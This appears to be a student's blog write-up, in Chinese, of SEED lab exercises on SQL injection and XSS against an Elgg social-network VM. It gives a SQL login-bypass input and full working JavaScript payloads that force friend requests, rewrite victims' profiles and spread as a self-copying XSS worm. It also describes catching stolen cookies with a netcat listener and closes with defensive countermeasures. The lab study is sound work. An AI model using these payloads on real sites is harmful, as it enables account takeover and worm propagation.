20231917周竞 2023-2024-2 《网络攻防实践》第10次作业

1.实践内容

1.1 SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序,并将其托管在 三达不溜.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
(1)熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
(2)对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
(3)对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
(4)SQL对抗:修复上述SQL注入攻击漏洞。

1.2 SEED XSS跨站脚本攻击实验(Elgg)

为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
弹窗显示cookie信息:将cookie信息显示。
窃取受害者的cookies:将cookie发送给攻击者。
成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
编写XSS蠕虫。
对抗XSS攻击。

2.实践过程

首先,将Ubuntu虚拟机改名为Ubuntu-zj-20231917。
在这里插入图片描述
然后,在Ubuntu终端登录root用户(密码dees),将hostname改为20231917zj。
在这里插入图片描述
新建一个终端,可以发现,hostname已经改为20231917zj。
在这里插入图片描述

2.1 SEED SQL注入攻击与防御实验

2.1.1 mysql环境与基本SQL语句

在Ubuntu虚拟机中启动mysql
命令:mysql -u root -p,密码:seedubuntu
在这里插入图片描述
根据实验要求,我们要选定Users数据库中的creditential的表。
使用show databases;命令查看所有数据库(命令行的末尾要有分号,以表示一句SQL命令)。
在这里插入图片描述
使用Users数据库,命令:use Users;
查看Users数据库中的表,命令:show tables;
在这里插入图片描述
可以看到,只有一个表credential。
我们用SQL指令select * from credential;查看一下这张表的具体内容。
在这里插入图片描述
筛选Alice的信息,命令:select * from credential where Name=‘Alice’;
在这里插入图片描述

2.1.2 对select语句的SQL注入攻击

在虚拟机的浏览器中输入www.SEEDLabSQLInjection.com
在这里插入图片描述
输入账户名Admin,然后随便输入一个密码,尝试进行登录。
登录失败。
在这里插入图片描述
进一步对该网站进行分析,可以得出,该网站在进行登录验证的操作的时候,使用了unsafe_home.php文件,而这个php文件正好在本机的一个文件夹下:/var/www/SQLInjection
在这里插入图片描述
在这里插入图片描述
打开这个文件,对这个php文件中的代码进行进一步分析。
这个网站使用SHA1对登录口令进行哈希运算,然后将哈希的结果存储到数据库中,用户在登录时,后台会将用户输入的口令进行SHA1运算,验证其是否与数据库中的值相等。
在这里插入图片描述
继续往下看,找到后台进行登录验证时使用的SQL指令。
在这里插入图片描述
select id,name,eid,salary,nirth,ssn,phoneNumber,address,email,nickname,Password from credential WHERE name=‘ i n p u t u n a m e ′ a n d P a s s w o r d = ′ input_uname' and Password=' inputunameandPassword=hashed_pwd’
在一个mysql指令中,#后面的是对这行指令的注释。
select id,name,eid,salary,nirth,ssn,phoneNumber,address,email,nickname,Password from credential WHERE name=‘KaTeX parse error: Expected 'EOF', got '#' at position 14: input_uname' #̲ and Password='hashed_pwd’
由于在WHERE name=‘$input_uname’之后插入了#,那么查询登录口令的哈希值相等的条件就变成了注释,这也就意味着只需要输入“用户名+’+空格+#”,就能不用密码即可登录。
在这里插入图片描述
回到登录页面,将用户名改为Admin’ #,不输入密码,尝试进行登录。
成功黑进该网站。
在这里插入图片描述
在这里插入图片描述

2.1.3 对update语句的SQL注入攻击

打开safe_edit_backend.php文件,找到修改数据库的命令。
在这里插入图片描述
在这里插入图片描述
类似于上一节的分析,我们只需要在输入的新的昵称$input_nickname后加一个“’ #”。
在这里插入图片描述
修改完成后,打开刚刚的网页,点击上方的Edit Profile编辑用户信息,保存后成功修改所有用户的昵称。
在这里插入图片描述
在这里插入图片描述

2.1.4 SQL对抗——SQL注入漏洞的修复

经过上述的分析可以看出,由于在后台使用了一行完整的sql指令进行数据库处理,我们可以借助sql命令格式的特点,使用“#”符号对本该拥有的筛选条件进行“截断”,这样就可以实现未经许可的侵入攻击,达到非法访问和篡改信息的目的。
实际上,实现SQL注入漏洞的修复的方法有很多。常见的修复措施有以下四点:
①使用类型安全的参数编码机制。如:预编译指令集,这种方法通过封装好的方法处理输入的参数,避免因直接使用SQL语句字符串而产生的注入漏洞。
②对外部的用户输入进行完备性检查。如:正则化过滤、字符串过滤等。
③将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象。
④加强数据库服务器的配置与连接。

2.2 SEED XSS跨站脚本攻击实验(Elgg)

2.2.1 显示警报窗口

在浏览器中输入www.xsslabelgg.com,进入XSS实验网站。
在这里插入图片描述
输入用户名Alice和口令seedalice,登录Alice账户。
在这里插入图片描述
按照如下图所示方式进入Profile页面。
在这里插入图片描述
在这里插入图片描述
点击左侧的Edit profile,在Brief Description栏中输入,下滑到底部单击“save”保存设置。
在这里插入图片描述
在个人简介界面中显示了弹窗提示“XSS”。
在这里插入图片描述

2.2.2 cookies信息弹窗显示
修改刚才的brief description中的信息为

在这里插入图片描述
保存退出后即可显示当前的cookie信息。
在这里插入图片描述

2.2.3 窃取受害者的cookies

为了实现窃取受害者的cookies的攻击,我们需要构造下面的payload:

在这个payload中,攻击者会从本机地址的5555端口返回一个图片,并且会得到一个cookie值。
将这个payload修改到brief description。
在这里插入图片描述
为了捕获到escape方法中返回的变量c的值,我们打开一个终端,使用命令nc -l 5555 -v。
将我们修改的个人信息保存,我们从终端中看到了一些信息:
其中,Get返回的c值就是cookie值。
在这里插入图片描述

2.2.4 成为受害者的朋友

我们分析一下添加好友的操作。
先进入一个好友的个人主页,比如说:Boby:www.xsslabelgg.com/profile/boby。
在好友的个人主页,按下ctrl+shift+E,打开开发者工具,然后切换到Network选项卡。
在这里插入图片描述
点击左侧的“Add friend”,浏览器便捕获到了一条请求。
在这里插入图片描述
点开这个请求,如图所示:
在这里插入图片描述
得到请求URL如下:
http://www.xsslabelgg.com/action/friends/add?friend=45&__elgg_ts=1683732812&__elgg_token=5Bz1C-1FYJl4N1yvVYvH0w
这个请求URL包含如下信息:
(1)地址:http://www.xsslabelgg.com/action/friends/add
(2)好友ID(friend):45
(3)时间戳:1683732812
(4)token:5Bz1C-1FYJl4N1yvVYvH0w

为了添加其他好友,构造下面的payload:

<script type="text/javascript">window.onload = function () {
    var Ajax = null;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
    var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
	Ajax = new XMLHttpRequest();
	Ajax.open("GET", sendurl, true);	
	Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
	Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
	Ajax.send();
}</script>

将这个Payload填写在Alice的用户资料的About me中(点击Edit Html切换到HTML编辑模式),保存。
在这里插入图片描述
然后用Boby的账号模拟受害者的操作(密码是:seedboby)。
这是在点进Alice主页之前的Boby。
在这里插入图片描述
Boby在点进去Alice的主页后,就自动添加Alice为好友了。
使用其他账号也能够发现这一现象。
在这里插入图片描述

2.2.5 修改受害者的信息
现在,我们分析一下修改个人信息时,会向服务器发送什么样的请求。
打开开发人员工具ctrl+shift+E,进入Alice的修改界面,按下save,将上述实验的请求进行分析。
我们可以看到,请求的链接地址为:http://www.xsslabelgg.com/action/profile/edit
(https://img-community.csdnimg.cn/images/14ce8450a1514b78b9235d40f249822a.png)
还可以看到token(__elgg_token)和时间戳(__elgg_ts)等信息。
在这里插入图片描述
在这里插入图片描述
构造下面的payload:

<script type="text/javascript">
    window.onload = function(){
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var content= token + ts + "name=" + userName + "&description=<p>This had been changed by XSS attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        var samyGuid=44;
        if(elgg.session.user.guid!=samyGuid)
        {
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
}</script>

将这个payload代码拷贝到个人信息的About me中(切换到Edit HTML模式),点击“保存”。
登录Boby的个人账户,然后点进Alice的个人主页,然后再返回,发现Boby的个人简介变成了“This had been changed by XSS attack.”
在这里插入图片描述

2.2.6 编写XSS蠕虫

蠕虫代码如下:

<script id="worm" type="text/javascript">
    window.onload = function(){
        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>";
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var content= token + ts + "&name=" + userName + "&description=<p>Hacked by XSS WORM !!!"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        var samyGuid=44;
        if(elgg.session.user.guid!=samyGuid){
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }</script>

这个代码通过将XSS的payload自动复制到受害者的个人资料中实现对受害者的感染。如果有其他用户访问了受害者的个人主页,那么他也会被感染。受到感染后,受害者的个人简介会变为“Hacked by XSS WORM !!!”。
用上文同样的方法将这个蠕虫代码设为Alice的About me中的信息,保存。
如果好友Boby访问了Alice的主页,就会感染xss蠕虫。
如图所示:Boby的About me变成了“Hacked by XSS WORM !!!”。
在这里插入图片描述
如果另一个用户(如Samy),访问了Boby的主页,那么他也会受到感染。
其他用户,如果访问了这三个感染者的主页,也会无一例外地受到感染。这体现了计算机病毒的可传播性。

2.2.7 XSS攻击的对抗措施

①对输入内容的特定字符进行编码,例如表示 html标记的 < > 等符号。
②对重要的 cookie设置 httpOnly, 防止客户端通过document.cookie读取 cookie,此 HTTP头由服务端设置。
③将不可信的值输出 URL参数之前,进行 URLEncode操作,而对于从 URL参数中获取值一定要进行格式检测。
④不要使用 Eval来解析并运行不确定的数据或代码,对于 JSON解析请使用 JSON.parse() 方法。
⑤后端接口也应该要做到关键字符过滤的问题。

3.学习中遇到的问题及解决

问题:Ubuntu虚拟机不能直接与主机进行复制粘贴操作。
解决方案:由于代码量很大,因此将代码复制保存到主机的文件中,使用VMware的共享文件功能传输文件(千万不要学网上的教程安装工具并重启虚拟机,重启后有可能再也打不开了!!!)。

4.实践总结

在本次实践中,我尝试了SQL注入攻击和XSS攻击,了解了常见的输入框中的漏洞,对于SQL注入攻击和XSS攻击有了浅显的认识。我认识到:在开发Web应用的时候,必须确保数据安全,对传入的数据进行仔细检查和处理,防止因一些漏洞而导致网站受到攻击。

  • 39
    点赞
  • 39
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值